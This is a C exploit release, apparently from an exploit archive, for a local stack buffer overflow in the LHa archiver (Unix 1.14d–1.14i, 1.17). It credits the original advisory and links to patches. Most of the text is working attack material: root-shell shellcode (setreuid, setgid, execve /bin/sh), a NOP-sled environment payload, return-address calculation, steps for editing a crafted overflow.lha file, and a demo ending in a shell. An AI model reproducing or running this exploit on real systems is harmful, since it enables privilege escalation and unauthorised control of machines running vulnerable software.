Bug Found By : Ulf Ha"rnhammar <Ulf.Harnhammar.9485 at student.uu.se>

LHa buffer overflows and directory traversal problems

PROGRAM: LHa (Unix version)
VENDOR: various people
VULNERABLE VERSIONS: 1.14d to 1.14i // Theze sectionz completely taken
from full-disclosure :))
1.17 (Linux binary)
possibly others
IMMUNE VERSIONS: 1.14i with my patch applied
1.14h with my patch applied

Patch : Ulf Ha"rnhammar made some patch U can find it on :
LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm
http://www2m.biglobe.ne.jp/~dolphin/lha/prog/
LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/

---------------------------------------------------------------

Little Explanation about Exploit : Copy the attached overflow.lha file to
your directory , i.e /home
Then open overflow.lha with text editor(vim is better), U will see there
four bytes at the end of the line, just
delete and paste your ASCII RET address there,but make sure not to malform
the file.Then run the sploit.

Note : overflow.lha file is completely taken from Ulf's post.

Demo:

addicted@labs:~/c-hell$ ./lha /home/addicted/overflow.lha
--------------------------------------------------
| Author : N4rK07IX
| narkotix@linuxmail.org
|--------------------------------------------------
[+] RET ADDRESS = 0xbffffd90
[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the file
overflow.lha
[!] ASCII RET ADDR =
[+] Exploiting the buffer..
LHa: Error: Unknown information
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUAAAAAAAB
sh-2.05b$

Gretingz: Efnet,mathmonkey,Uz4yh4N,laplace_ex,xmlguy,gotcha,forkbomb

*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFFERSIZE 2000
#define FEED 600
#define PATH "/usr/bin/lha"
#define PROG "lha"

static char shellcode[] =

//* setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80

/* setgid(0); */
"\x31\xdb" // xor %ebx,%ebx
"\x89\xd8" // mov %ebx,%eax
"\xb0\x2e" // mov $0x2e,%al
"\xcd\x80" // int $0x80

// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80

// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80

int main(int argc, char *argv[])

{
if( argc < 2 )
{ printf("[-] Enter The Full Of the overflow.lha \n");
exit(-1);
}

printf("--------------------------------------------------\n");
printf("| Author : N4rK07IX\n");
printf("| Found by : Ulf Ha'rnhammar\n");
printf("| LHa 1.14d 1.14i 1.17 Local Lame Stack Overflow Sploit\n");
printf("| narkotix@linuxmail.org\n");
printf("|--------------------------------------------------\n");

char buffer[BUFFERSIZE];
char addict[FEED];

int i,
*adr_pointer,
*addict_pointer;

memset(addict,0x90,sizeof(addict));
memcpy(&addict[FEED-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(addict,"ADDICT=",7);
putenv(addict);

unsigned long ret = 0XBFFFFFFA -strlen("/usr/bin/lha") - strlen(addict);
printf("[+] RET ADDRESS = 0x%x\n",ret);

char l = (ret & 0x000000ff);
char a = (ret & 0x0000ff00) >> 8;
char m = (ret & 0x00ff0000) >> 16;
char e = (ret & 0xff000000) >> 24;

printf("[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the
file overflow.lha\n");
printf("[!] ASCII RET ADDR = %c%c%c%c\n",l,a,m,e);
printf("[+] Exploiting the buffer..\n");
adr_pointer = (int *)(buffer);

for(i = 0; i < BUFFERSIZE; i += 4)
*adr_pointer++ = ret;
execl(PATH,PROG,"x",argv[1],NULL);
if(!execl);
perror("execl()");
printf("[+] Done B4by\n");